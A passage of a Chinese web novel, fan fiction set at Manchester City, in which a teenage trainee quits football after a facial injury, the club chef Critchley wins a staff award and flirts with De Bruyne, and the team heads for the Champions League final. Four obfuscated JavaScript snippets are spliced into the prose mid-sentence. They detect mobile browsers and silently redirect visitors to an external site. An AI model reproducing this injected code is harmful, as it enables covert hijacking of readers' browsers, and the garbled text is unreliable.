他跑过去抱起托马斯,发现他嘴角流血了,脸上一个大红印子,还挺圆的,这下打的不轻,这半边脸下午得肿得像个灯笼无疑了。 麦卡蒂一边举手示意队医进来,一边关切的对他说,“托马斯,你流血了,去休息一会吧。” 托马斯被打的头有些懵,眼泪充盈在眼眶里,被麦卡蒂托起脸来左看右看的,泪水就顺着脸颊流下来,像被咬了一口的红番茄。 他一听流血了,立刻双手捂住了脸,惊恐万分的喊着:“啊!流血了?皮破了吗?快给我个镜子。” 被队长训了的队友们刚围过来就听他喊着要照镜子,憋不住又哈哈笑了起来。 “没破皮,可能是嘴里面破皮了。”麦卡蒂也被他说要照镜子给说懵了。 “我可不能破相了!”他匆忙的站起来,推开身边的人,一路小跑冲进卫生间。 比赛继续。 可麦卡蒂心已经跟着托马斯跑了,他想去看看托马斯到底有事没,怎么被球打成智障了,谁踢球还没被球砸过,女队也没这么娇气呀。 托马斯洗了好几遍脸,嘴里的血也洗干净了,可是左边脸还是又红又肿,嘴角还紫青紫青的,坏了,下午要试镜的,这副样子怎么跟导播解释呢。 要是错过这次试镜,钱白交了不说,下次还不知道什么时候有机会呢。 他沮丧的回到更衣室,慢吞吞的换衣服,不踢了,以后都不踢了,万一出了事自己的前程就断送了,怎么还哥哥的人情帐还有经济账,还砸了德布劳内的眼光,让他血本无归。 他脱了球衣一直在想这件事,都忘了要去打工的时间。 这时大家刚踢完热身赛陆陆续续回到更衣室,发现他还没走,一个个的又开始取笑他。 “小美女,脸都被踢花了,哥哥看看。”一个比他小的白人男孩弯下腰来“关心”他。 “哈哈哈…”更衣室笑成一团。 托马斯根本没听进去,他本来和他们也不熟,没必要搭理他们,而且他也不想惹事。 把球踢到他脸上的杰克逊也没任何表示,还对身边的人说,“太娇气了,谁还没被球闷过,麦卡蒂凶什么凶。” “就是,显得他多高尚。” 他们小声嘀咕着,这时麦卡蒂走进来,更衣室里顿时鸦雀无声,谁也不敢说话了。 “我走了,队长。”托马斯终于意识到自己该去打工了,不然要被扣钱,他打工的地方最近升级成大店了,经理说要提拔他当副店长呢,就不是赚时薪而是有固定收入的那种,但要等他18岁生日以后,为了这个固定收入他还是要好好表现的。 “没事了吧?”麦卡蒂走过去拉住他胳膊,再次询问他。 “看来这项运动不适合我,我得保护好我的…” “哈哈哈…”更衣室里又笑成一片。 “麦卡蒂,我们的小美女要去选美, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788317|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你别耽误人家。” “嘶…”麦卡蒂扔过去一个狠叨叨的眼神,随即跟着托马斯出去了。 “没错,队长,我确实要去选美。”托马斯手里拎着衣服,仰着不太对称的小脸看着麦卡蒂,拥有一头金色头发巴掌脸的小队长比他大一岁,竟比他高将近一头,好像和克里奇利差不多高,目测185以上。 “他们跟你开玩笑,别往心里去,回头我说说他们,你以后要多注意点。” “我…我以后不来了。” “什么?你被打了一下就不来了?那你也太…” “娇气吗?”托马斯亮晶晶的眼睛注视着面前这个有些疑惑的大男孩,十分诚实的告诉他,“我来训练是为了塑形的,没想过要进球队,我还要去打工,攒钱进娱乐圈,我是真的要参加今年的世界先生大赛的。” “什么?真的吗?”麦卡蒂低头看着他,虽说不太相信,但看着这张过人的脸又觉得不像是开玩笑,他真的越看越好看,越看越像个小美女,脸上光滑的一点胡须都没有,唇红齿白,皮肤细嫩,眼眶深邃,以为是黑色的眼珠在强光下泛着蓝。 现在又梨花带雨楚楚可怜的,让麦卡蒂一时失神。 “谢谢你,队长,我会想你的。”托马斯一只手伸进他的腰间,轻轻的靠上去抱了抱他,然后低着头手不敢看他的眼睛,手里紧紧攥着那双粉色的球鞋,转身离开了。 等他回家的时候,无论怎么冰敷也没消下去浮肿,一看就像被人揍了似的吃饭都张不开嘴。 克里奇利问他跟人打架了,他说被球踢的,不敢再去了。 德布劳内笑着摇头,说,“我就说你坚持不了几天,叫你去踢球,结果你被球踢了,还嘤嘤嘤的不敢再去了,你叫我老脸往哪放,唉…” “我…” “托马斯!”克里奇利板起脸来,冷峻的眼神好像要穿透托马斯的眼睛,“你才刚入门,受了点挫折就放弃,不像话!你知道机会多么难得吗!” “算了算了。”德布劳内手覆在克里奇利的手背上,“别强迫他,他也是为了自己的事业,不像我,我就是吃这碗饭的,破相了是小事,伤病不断才是最让人难受的。” “你哪破相了,我看看。”克里奇利抬手就去搂德布劳内的脖子,拉到脸前近距离检查。 他的眉心确实有一道疤,平时还以为是他习惯皱眉皱成的眉间纹呢。 “凯文,你这…” “害,我不是说了,破相是小事,谁没有点疤啊,这都是战斗的功勋。”德布劳内摸摸自己的眉心,克里奇利的手覆在他的大腿上,那里也有一道记载痛苦和功勋的伤疤。 德布劳内转过来对托马斯说,“没事,你还是以你的事业为重,明天我和尼尔森说一声,就说你塑形目的达到了,不用练了,再练就真给他打后腰了。” “……”托马斯不吭声,眼泪哗哗的流下来,他不好意思去擦,只好低着头用肩膀把脸上的泪水蹭干。 他不是不想踢球,他还很热爱这项运动,他是真害怕破相了,让他们的投资打了水漂,现在他想选美不是为了自己那点虚荣心和挣快钱,而是想证明自己选的这条路是正确的并且下了功夫的,就算是踢球也是为了让自己增值,等成功赚了钱第一时间报答他这两个“亲哥哥”。 小小年纪就有了心事,这一宿他没睡着,一直搂着那双粉色球鞋,在被子里啪嗒啪嗒掉小珍珠。 44.第 44 章 第二天早上,托马斯真的没有起来。平时克里奇利上班的时候他俩早就不见了,只有餐桌上一碟华夫饼告诉他早上托马斯吃了什么早餐。 德布劳内也没叫他,独自上班去了。 克里奇利走到沙发跟前,一把扯掉托马斯身上的毯子。 他怀里的球鞋啪嗒两声掉在了地上。 托马斯睁开惺忪的睡眼看了看他,哼唧了两声,然后转过去伸手搂住了沙发靠背,腿也搭在上面。 “赶紧起来!”克里奇利打了他一下。 “唔…别吵。” “这个点你都训练完收拾东西准备上班了吧。” “我今天夜班,不去青训营了,我要睡觉。”托马斯捂住了耳朵。 “去跟尼尔森教练道歉,这是你第一次翘课,向他保证下不为例,他应该会原谅你的。” “不,你别管我,我再也不去了,我不是那块料,去了也是被人嘲笑。” 克里奇利看他左边脸还是紫青一片,连眼睛都肿了,估计昨晚没怎么睡着,但是他这副摆烂的德行实在让人生气。 “你还怕嘲笑?你都裸着在高台上跳舞,怎么没见你自尊心这么强呢?” 克里奇利说完就后悔,但他的嘴实在是快过脑子。 托马斯支撑着坐起来,顶着鸡窝头,仰着脸拿凶巴巴的小眼神横他,“你又不是我亲哥,管不着!” 克里奇利把毯子收起来,把空调温度调低了几度,又去厨房弄些吃的,发出叮叮当当的响声。 托马斯想睡也睡不着了,他晃晃荡荡的来到厨房,在克里奇利身后站了一会,接着伸手抱住了他。 克里奇利高大的身形和他们队的小队长差不多,只是略壮了一些,抱着他一丝委屈涌了上来。 克里奇利放下手里的咖啡杯,转过来握住他的肩膀,幽深的眼神落在他淤青的嘴角,刚要说什么,托马斯先说了一句“对不起,哥。” 他说的西语,克里奇利虽然听不懂西语但理解了这个语境。 “做你想做的去吧,我可没权利做你的主。” 克里奇利目光如暖阳,让托马斯觉得他把嘴巴抿起来的样子可好看了。 “或许我应该再试试。” 克里奇利没再说什么,他走到沙发那里把地上的球鞋捡起来放到桌上,拿起外套出了门。 克里奇利一上班,发现餐厅和以前不一样了,怎么大白天的亮彩灯呢,等他走进去的时候,砰砰砰的几声吓的他小心肝都要跳出来了,要不是头上身上挂满了彩带亮片还以为餐厅被劫持了。 抢劫餐厅干嘛,他马上打消了自己的奇怪念头。 “恭喜我们的新晋主厨获奖!”一大帮人站在他面前,脸上都洋溢着兴奋的笑容,手里还举着刚拉响的礼炮。 “咋了这是?”克里奇利都被震惊出伯明翰腔了。 “早上总监来了,告诉我们今晚有一个内部颁奖典礼,你获得了最佳后勤贡献奖,今天晚上我们全都被邀请去参加颁奖典礼还有大型晚宴呢。”eleven说完就上前拥抱了他,替他获得殊荣感到高兴。 “晚宴?不会要加班吧?”职业病让他只听到了晚宴两字。 “不不不,颁完奖直接去酒会,曼城包场,你来了一直忙工作,还没参加过俱乐部的节目呢。”eleven给他解释完了又在他耳边说了一句“外勤,一般需要盛装出席。” “那好说,只要不携女伴就行。”他也小声回了一句,引得eleven捂嘴偷笑。 “不过,这里还是要自己打扫的啊。”他点了点大厅洒落的到处都是的彩带,不解风情的安排着,接着走进后厨开始工作。 大家起初认为他有些冷峻不太好接近,随着他张弛有度的工作态度,娴熟的厨艺和公私分明的领导方式,逐渐让大家接受并认可这位年纪轻轻就可以运筹帷幄的主厨先生。 他嘴上说着让大家打扫干净,还笑着批评他们净给自己找事,也会拿起扫帚和大家一起打扫。 厨房就是他的主阵地,而餐厅就是他的脸面。 但是获奖这个事确实有些意外,他自认为只要把饭做好,球员们营养到位还能夸夸自己的餐厅就是对他最大的肯定了,要上台领奖这个事完全不是他感兴趣的范畴。 以前上电视那种拘谨和被调侃后的愤怒还历历在目。他不喜欢当名人,束手束脚的不自由,他只喜欢在自己擅长的领域兴风作浪,就像高鱼一等的海豚,在自己的舒适圈里作妖简直不要太舒适了。 平时见惯了他一身修身的白色厨师服,或者下班一件精干的小皮夹克,今天晚上看他西装革履的出现在颁奖典礼的时候真的是帅的过分,德布劳内看的拔不出眼来,虽然每天就睡在他身边,仍被他一举一动所散发的优质男性荷尔蒙沉沉的叩击心窝。 他看过去的眼神满满的都是“看,台上那个是我的人,你们不知道他有多迷人,不,你们知道。”可他又不能告诉别人这个想法,那种想炫耀又不能炫耀的滋味特别难受又没人能懂。 行深情注目礼送克里奇利上台的可不止他一个,而且他们张口就夸。 “我爱他那条香槟色的领带。”格拉利什侧过头对福登说,福登回答他也就他能压得住。 “你也能。”格拉利什笑出了鱼尾纹。 “我还没到那个年龄,他不老不小的,那颜色正适合,沉稳中带着一点风骚。” 鲁本直接夸他性感,还问他们,你们见过他不穿衣服的样子吗? 两人刚想说见过,就被德布劳内莫名其妙的瞪了一眼。 这时克里奇利开始发表获奖感言。 他接过曼城副总裁颁给他的金勺子奖杯,并对他说恭喜,实至名归,我代表曼城谢谢你,他微微一笑,接过来说了句我的荣幸之至先生,还十分绅士的和颁奖嘉宾行了贴面礼。 接着,他面向台下,清了清嗓子,目光扫过给他投票打高分的那群可爱的球星,一眼就看到人群中闪耀着金色光晕的美男子。 “哇哦,这太神奇了,这是金的吗?”他看了看手里的“金勺子”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799125|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哈哈哈…”台下爆发出一片笑声。 “我对金的完全没有抵抗力。” 又是一片笑声,唯独德布劳内捂住了脸。 “多了不说了,今天的主角是你们,祝贺刚才领到奖的朋友们。曼城真是一个好地方,会用我们最喜欢的方式来鼓励我们。”他举了举手里的奖杯语气稍微顿了一下,接着说,“就是爱和尊重。” 以为他会说金钱和奖杯,结果这家伙又把话题升华了,这该死的小聪明又为他加了不少分。 德布劳内对他是又爱又恨。真想把他包了,放在家里不让人随意端详,刚才想显摆他的劲儿一下子变成了不想让人发现的小心思,但又不得不承认他的魅力是普渡众生的,于是对旁边的阿克说,“真是玄学就好了。” 阿克瞬间明白,德布劳内谁也不服的毛病又犯了。 克里奇利来到曼城以后,他们不仅改善了伙食,好像伤病都减少了,不说别的,罗德里都能来训练了,听说私下给罗德里私人订制帮了大忙,最主要的是他来了以后曼城一场没输。 大家都觉得神奇,不知道谁说了一句克里奇利跟车的比赛全赢了,怀疑他给他们的餐放了大力丸,然而检测一直是过关的。 大家说来说去也都信了克里奇利的到来的确助长了曼城的雄风,一传十十传百的就把他给标榜了,传到高层耳朵里势必要乘胜追加褒奖,稳固这位神厨的位置,让他安心留在曼城镇风水。 阿克笑笑,对德布劳内说,“都是你的功劳,你吃的好。” 德布劳内听了又有点惭愧,克里奇利的确给自己开了小灶,难不成他真有金手指,大家吃饱,他吃最好,罗德里缺阵的时候也能稳住大局,真的有些不可思议。 颁奖典礼结束后,大家都去了酒会。 酒会是大家最喜欢的活动之一,吃吃喝喝跳舞唱歌之外最开心的就是和形形色色的人对对碰,说不定就碰到心仪的人。 克里奇利在这种场合绝对是领军人物,是舞池里最耀眼的存在,音乐一响,灯光一扫,188的身高加上紧身衬衫的诱惑,完全颠覆人们对厨子的刻板印象,用不了一分钟身边就会被大把美女帅哥缠绕。 不老实,不规矩,不低调,不文静。他是舞池里的发电机,谁路过都得被电一下。 即使穿着清冷的灰色衬衫也包裹不住他热辣模特身材的优势,胸肌撑起那层布料,双开门的门快要把扣子爆开,腰线被收在皮带里的衬衫修饰的非常清晰,让人好想搂着和他摇曳一晚上。 就这样他被这个那个搂来搂去,蹭来蹭去,摸来摸去,就像暴露在外面的文物壁画,摸的多了都快包浆了。 德布劳内在一边卡座里坐着,眼睛直勾勾的盯着舞池里出类拔萃的他,数着他前胸后背到底多少只手,手指捻的高脚杯吱吱作响。 那他也不会挤进人群去竞争他身边的C位,只要他想,那个人会抱着他摇一晚上,这点自信还是有的。 但他只会默默生气,怨自己怎么找了这么个男女通吃的大祸害。 45.第 45 章 酒会散了,德布劳内懒得等他,自己叫车回家了。 也不是他想喝的烂醉,是餐厅的同事太久没有获得表扬了,都想和他碰碰杯,表示一下祝贺或是沾沾运气。 餐厅经常成为俱乐部吐槽的对象,这次能从幕后走到台前来多亏了克里奇利的功劳。 他也不好推辞,陪着他们嗨到了半夜。 回到家看了一眼沙发空空的想起来托马斯应该是上夜班没回来,结果扑到大床上也是空空的。 瞬间睡意全无,脑子里开始细数从酒会开始到结束自己有没有做出格的事情。 在这种直人聚会上应该不会吧。 他想了半天也没想起来,还把自己想的通体火热,没有床伴是无论如何也忍受不了的。 他拿起外套就去了德布劳内家,开门就质问他,“我怎么记得我是有partner的呢?为什么让我独守空房呢?从没见过你这么狠心的新婚小娇妻。” “嘿!”克里奇利醉醺醺的仍不忘用手撑住门,不让德布劳内把自己关在门外,接着没脸没皮的闪身进去。 “真想把你当垃圾一样扔出去,谁爱捡谁捡。” 德布劳内没给他好脸色,转身往卧室走去。 克里奇利上前一步就从身后抱住了他,臂弯收的紧紧的,呼吸像滚滚热浪喷薄在他的侧脸上,带着浓重的酒精味和乱七八糟的各种香水味,侵害着德布劳内困又睡不着的敏感神经。 “生气啦?逢场作戏而已。” “你怎么不假戏真做,来个全套呢?被人撩了一晚上攒够了火跑来祸害我,真有你的。” 德布劳内才不是什么温柔小娇妻,他用力挣脱开他的束缚,推了他胸口一把,然后上床拉上被子把自己埋了起来。 克里奇利才不会这么轻易的放过他,最主要的是他认为不管从什么方面得罪了老婆,都要用实际行动来弥补。 没有一次欢愉解决不了的问题,有,就两次。 给子之间的沟通方式就是如此。 简单,直接,用力,带着那么点自私和随心所欲,情场里就没有克里奇利搞不定的人。 他不会让任何人带着情绪睡觉,这也是他的魅力所在,体验过他的人都知道,除了第二天没醒酒说的混账话之外,前一晚的深入交流还是可圈可点的,这也是他在伦敦圈得以吃得开的原因之一。 果不其然,第二天早上他还没睁开眼睛就被德布劳内教训了。 德布劳内问他:“你很享受在舞池里被人摸来摸去的感觉吗?” 他说这有什么?我当年在伦敦gay吧里还获得过最美胸肌奖呢,吧里100多人都快给我摸秃噜皮了。 说完他就挨揍了,他的最美胸肌被人狠狠拿捏,疼得他抱住自己埋头在枕头里,哭着控诉德布劳内虐待亲夫。 不能跟他的过去一般见识,德布劳内反复告诫自己。 但他会跟托马斯吐槽,你哥是个彻头彻尾的大人渣,不知道收敛为何物,仗着自己有几分姿色就到处乱放电,跟个公狗一样四处标记领地,总有他碰到高压线的时候。 托马斯一本正经的替他哥哥说话,他说:“凯文,别管他标记谁,他真的爱你。他对你如此深情温柔,像个孩子似的撒娇打滚,你是他最重要的人,噢,我好嫉妒。” 托马斯做作的演技惹得德布劳内发笑,别说他皱着眉装作伤心的样子真有几分清澈小鹿的模样,让人心生怜悯。 心里被他说的有些开心,嘴上还是不肯承认恋爱中的人心智都降到了18以下,还要被一个小孩顺着毛呼啦。 “最近球练得怎么样了?”德布劳内突然摆出威严要检查他的课业,就算是副业也要验收的,毕竟亲自指导他小半月了。 “还…还行。”托马斯垂下他机灵的小黑眼珠,毛茸茸的睫毛遮住了有些心虚的眼神。 “颠50个我看看。” “50个?” “嫌少?” “不,不少。” 他抱着球走去阳台,刚要交作业,手机响了。 他看了一眼,是小队长打来的,他把球一扔兴奋的抓起手机就跑了,把验收作业的老师扔在客厅气的胡子都逆了。 * 随着一场又一场的比赛,时间来到了最令人紧张的5月。 这个赛季可谓是乘胜追击,每个人都有使不完的劲儿。特别是罗德里的回归,让曼城越踢越有底气,越踢越有力量,整个曼城上下都凝聚起巨大的能量,全力共赴各项赛事的胜利。 大家都忙的不可开交,任何人任何一个环节都不可以出纰漏,包括场地哪个地方的草不平整都会有人立刻去铺平,这种专业又紧张的氛围影响着曼城每一个工作人员,克里奇利也不例外,他把餐厅重新布局,增加了许多新的餐位,贴上了一些他的审美。 比如冷饮区,帅哥美女的泳装图。 铁板区,南美风情的热带雨林和大串烧烤。 甜品区,比利时手工巧克力和英式布丁慕斯的浪漫邂逅。 伴着初夏的升温,让大家一来餐厅就感受到扑面而来的清凉舒爽,从而增进食欲。 他还准备了很多下饭小菜,见过的没见过的五花八门的可谓用尽心思,让人由衷的感叹曼城真是血赚,不仅请了个厨神面面俱到,还把中餐里的阴阳调和给发挥到了极致,这样的大厨能不能共享一下,别藏着掖着搞别人心态行不行。 果不其然,英超最后一场大获全胜,4-1轻取西汉姆联,力压阿森纳1分夺得英超冠军,随后的英足总也2-1战胜了同城劲敌曼联折桂,随后到来的欧冠决赛更是要问鼎欧战。 这一个接着一个的冠军给曼城所有人带来前所未有的震撼和刺激,大家佩服瓜帅信服瓜帅的同时,也不忘曼城所有人的努力。 包括辛苦的自己还有在他们背后默默支持他们的人。 克里奇利就是他们背后的男人,把他们的胃口伺候的绝对到位,谁爱吃什么,什么时候吃,吃多少,对身体有什么找补,他都记得很清楚,比人名好记多了。 他聪明到每一场关键比赛前都把德布劳内哄的开心又舒适。 场下喂饱他,让他在场上放飞自我,成为英超绝顶一霸,只要他上场,绝对给对手气场和风向的双重压迫,让利物浦的主帅感慨,德布劳内跺一脚,整个英超震三震。 这几个月以来,他好像遇到了星座水星顺行,思路清晰,传球准确,恋情稳定。 就连托马斯都在日复一日的训练排练中找到了自我。 克里奇利也没有在这短短的几个月里有什么实质性的改变,人还是依旧随性,话还是随便乱说。 托马斯说他马上要签约经纪公司了,而球队他又不想放弃,因为尼尔森给他申请了陪练待遇,马上要做出职业选择,想征求克里奇利和德布劳内的意见。 德布劳内说:“两个职业都很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804225|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看你更倾向于哪个,选择了以后就要付出更多的努力,不是所有人都能达到我和你哥哥的成就。” 克里奇利打了个喷嚏,他说,“我哪有什么成就,我最大的成就就是靠上你。”说着他就向后仰倒在德布劳内的怀里。 在他怀里蹭够了才满足的抬起头,对托马斯说:“我演你呢。” 托马斯被他说的一头雾水。 “你自己的舞台你自己策划,别想着傍个靠山什么都给你搞定,双国籍人士。” “噢shit!”德布劳内捂住他的嘴,对托马斯说,“他喝多了,你赶紧上课去吧。” 托马斯嘴角抽了抽,似乎习惯了这个应该拿最佳毒舌奖的臭哥哥,他摆摆手说,“没事,我走了,他要是敢对你这么说话,我支持你对他做任何事。” “我打他。”说着德布劳内就重新把克里奇利拉到怀里,摁在腿上,对着他屁股啪啪扇了几巴掌。 随着声音落下,托马斯出了门,德布劳内就僵直了背,仰起了头。 这个家伙知道用什么堵住自己不该说话的嘴。 托马斯没有去上形体课,而是去青训营看他们训练。 看着看着就泪目了。 小队长麦卡蒂有模有样的在指挥训练,自己也特别努力,不停地跑来跑去,让托马斯想到过去的日子里,自己在他身后拼命的用眼睛去找他的身影,在适当的时候把球传给他,努力去做一个连接前场的后腰。 在他勇闯对方禁区的时候再次来到他的身后准备帮他解围和拦截。 那些短暂又真实的日子让他不舍得离开这片绿油油的草地,和那些小伙伴一起挥洒汗水的地方,特别是小队长在每次他要走的时候都笑着和他挥手说明天见。 他们成了无话不谈的朋友。托马斯始终穿着那双粉色球鞋,虽然磨的有些旧,那他也不换。 麦卡蒂发现他在场外看他们训练,兴冲冲的跑过来和他打招呼。 “嗨!”麦卡蒂隔着防护网把手搭在上面和他说话。 “嗨!”托马斯手插在兜里,本来迎着光眯着眼的他被面前高大的身影给罩住了。 “今天不去上班吗?” “夜班。”他用脚尖碾着脚下的胶粒。 “噢!那进来踢一会。” “不了,我没穿球鞋。”其实他背包里一直带着那双球鞋。 麦卡蒂笑笑,没再问他,这时队友们喊他过去准备踢小组赛。 “那我走了?”麦卡蒂向后退了几步。 在他转身的时候,托马斯叫住了他,“队长!” “嗯?”麦卡蒂回头看他。 “我想我应该和你说一声,我要签约经纪公司了。” “签约什么?” “娱乐经纪公司。” “不是曼城俱乐部吗?” “呵…你太高估我了。” 麦卡蒂笑容凝在脸上,脚步也停顿了,眼神茫然的看向地面又落在他的脸上,那边又在喊他快点,说他整天和托马斯见面有什么好黏糊的。 “不管怎样,祝你一切都好。”麦卡蒂有些手足无措,“还能再见到你吗?” “我又不是马上就签,至少要等到我18岁生日以后。” “好,找时间给你庆祝。” 麦卡蒂回到球场,托马斯也准备去上完这个夜班就辞去小超市副店长的职务,专心去当练习生,为了签约出道做准备。 46.第 46 章 这天,托马斯发布了一条重磅消息,他要去做世界先生巡回宣传了,先在欧洲预热,随后去东南亚,最后去南美。 克里奇利不久前还在想这小子什么时候独立,结果这么快就要离家出走满世界飞了。 一时还有点难以接受。 但嘴巴接受的很快,他说,“没时间管你,最近都在忙欧冠决赛的事呢,需要多少钱直接说。” “不用,我有钱。”托马斯抿了抿嘴唇,他只是想告诉哥哥,自己终于可以安定下来,不用依靠他的喂养了。 克里奇利眯着眼趴在厨房的台桌上,一脸人畜无害的样子,托马斯就知道他一定会笑话自己打工赚那点钱还不够买套西装的。 “哥,你不说话的样子美极了。”托马斯殷勤的给他倒水。 这次克里奇利学乖了,也可能是被他美丽男友调理的温顺了,他二话没说拿出手机给托马斯发了个大红包,跟他说去世界各地别忘了带伴手礼回来。 托马斯笑。 其实他现在虽然没到签约的年龄但已经有合同了,经纪公司会包装推广他,没什么需要花钱的地方。 克里奇利是看他一直穿那一双破旧的球鞋以为他不舍得花钱,就给了他一双球鞋钱,多了他也不要,每次零花钱他都记着帐呢,等这次首秀成功会一点一点还给他们的。 托马斯出差十天,这期间欧冠决赛就在土耳其伊斯坦布尔奥林匹克体育场上演。 克里奇利伦敦的好基友向他求票,说想去土耳其度蜜月,看一场欧冠决赛助助兴,问他有没有本事可以搞到票。 他想问德布劳内要两张票还是轻而易举的,就是这俩人不配当德布劳内的家属,主要是他还不想让别人知道他们的关系。 这次连工作人员都限流,千金难求一票,为了不给德布劳内添麻烦,他直接联系了欧冠直通车的旅行社,砸了点钱搞了两张位置不错的票,还附赠了土耳其一日游,就当给他俩的新婚礼物吧他这么想。 德布劳内最近心情不错,没人惹他生气,他看谁都比较顺眼,训练中总是保持微笑,还时不时的炫技,从双脚站到一个球上开始耍帅,再玩个大的,两只脚分别踩两个球,吓的助教大呼“凯文no!” 克里奇利从餐厅的落地窗向球场望去,看他家大橘猫玩球玩的兴致高昂,动作轻盈帅气,还和队友们打打闹闹,动不动就哈哈大笑和队友们抱成一团,感觉他不是33岁,而是23岁,不由得也被他感染到嘴角上扬。 啪的一声,eleven打了他肩膀一下,打断了他欣赏小猫玩球的快乐时间,接着把他拉进后厨,指着一锅黏糊糊的东西质问他,“布莱恩,你这是熬了一锅什么啊,看着好恶心,味道也…”她没说完就捏住了鼻子。 “猪蹄布丁。” “什么?呕…” “你没吃过吗?这不就是你们那里过春节常吃的美容冻吗?” “我没吃过,不知道你从哪学的,爷爷可没教过我。” “独家秘笈,谁叫你恋爱脑,不学无术,老家的精髓都快忘光了,现在就知道鱼香肉丝和宫保鸡丁,比我还像个英国人。” “行行行,你厉害!看你煮的这一锅,一会没人吃就更厉害了!” 克里奇利没理她,他坚信自己可以做出像样的美食来,往往没什么新意的时候就好像他师父附身了一样,总能想出新点子来,上次做的脆哨,不知道一家人有多爱吃,就是热量稍微高了一点,限量发放还被格拉利什嫌弃给他发少了。 他不慌不忙的把猪蹄冻滤出来,盛到容器里再放进冰柜里冷冻一会。 球员们来吃饭了,一个个对着切成块的猪蹄布丁不敢下手,心里琢磨着这得是什么味儿啊,好好的国菜为什么要加猪蹄? 质疑谁也不能质疑自家厨子,他可是获得过金勺子奖的人。 德布劳内忍着排斥感带头先取了一块,回头看了一眼克里奇利,用眼神告诉他,我给你面子,希望不要太难吃。 克里奇利给了他一个无比自信的回应,好像在说我什么时候让你失望过,先生。 大家怀着忐忑的心情品尝了新菜猪蹄布丁,除了不太爱吃猪肉的努内斯之外,其他人都直呼绝了! 口感弹牙,冰冰凉凉,入口即化,满口留香。 不愧是帅气又能打的厨神小当家。 克里奇利和瓜迪奥拉说出菜品的意义。他对瓜迪奥拉说,“boss,你没发现上班太勤会让人脸上失去光泽和微笑吗,他们的关节肌肉需要养护,心情也一样,这道菜富含胶原蛋白,你多吃点,比医美管用。” 瓜迪奥拉故作不满道:“我看上去需要补吗?” 克里奇利笑着说:“你看上去比他们年轻。” “哈哈哈…”瓜迪奥拉笑过之后又立刻反应过来,他的意思是说他的球员们累得灰头土脸,看上去像老了十岁,食补固然重要,缓解他们的压力才是正事。 欧冠决赛近在眼前,没有人比厨子更上心。瓜迪奥拉拍拍他肩膀,对他说,“真希望你是我的球员,有这份心。” 克里奇利说噢我一直以为我是你的第12个人。 瓜迪奥拉又笑出一脸大褶子。 * 谁能想到冠绝天下的顶级赛事背后,美食助力也会上大分呢! 先不说他做的东西有多好吃,他对工作那种游刃有余的态度和亲力亲为的专注就让人赏心悦目。 说他是球星背后的男人一点不为过,他会给每个人提供专属的能量补给。 每个球星上车前都会获得一杯自己的特调。格拉利什喜欢一杯冰拿铁+香草糖浆,福登要一杯300毫升的冰橙汁,德布劳内会想喝双倍浓缩+两块方糖,但克里奇利不经常给他喝,原因是怕他过度紧张,他神经越来越敏感,喝高浓度咖啡会让他赛前兴奋过度,赛后累到虚脱。 但是欧冠决赛谁能不拼,他咖啡瘾上来了,你给他低浓度的唬弄他也不行,为此克里奇利专门从哥伦比亚订购了低咖啡因的顶级咖啡豆,经过手工研磨,滤取咖啡液,控制好流速和颜色,不厌其烦的每次为他的大赛提供味觉和情绪支持。 喝到一杯香浓可口的爱心咖啡,德布劳内总是面带微笑,心情也很开朗的愿意和前来的记者球迷朋友多聊几句。 这天晚上,伊斯坦布尔奥林匹克球场灯光如昼,该来的始终要来。 曼城所有人都知道欧冠冠军对他们意味着什么,虽然之前几次杀入决赛圈,但都因为各种原因与冠军失之交臂。 或许有人还年轻,如哈兰德,福登,多库,他们还有大把的机会和风头,但对于德布劳内来说,这次欧冠是他心中久远的梦,为球队为国家拼尽全力是他心中早就立下的誓言,对一个职业球员来说他已不再年轻。 今天,他已经做好准备去迎接和捍卫荣光,原因还有一个,他背后有爱。 在球员通道里,小球童都排好了队等待着球员们来认领,工作人员先入场去工作区待命,克里奇利为他们准备了酸汁饮品功能饮料,随着设备管理员一起进入场地。 他在更衣室门口正好遇到整装待发的队伍。 他一如既往的慷慨释怀,不管别人喜不喜欢他,他都像一个粉丝一样主动上前拥抱几乎每天都能看见的球星朋友们。 就像给他们注入能量一样,他热情奔放的怀抱比曼城的Moonchester和Moonbeam还让人暖心。 到德布劳内面前,他突然害羞了,结果被德布劳内一把拽住手腕,拉进怀里抱住顺势往后仰了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 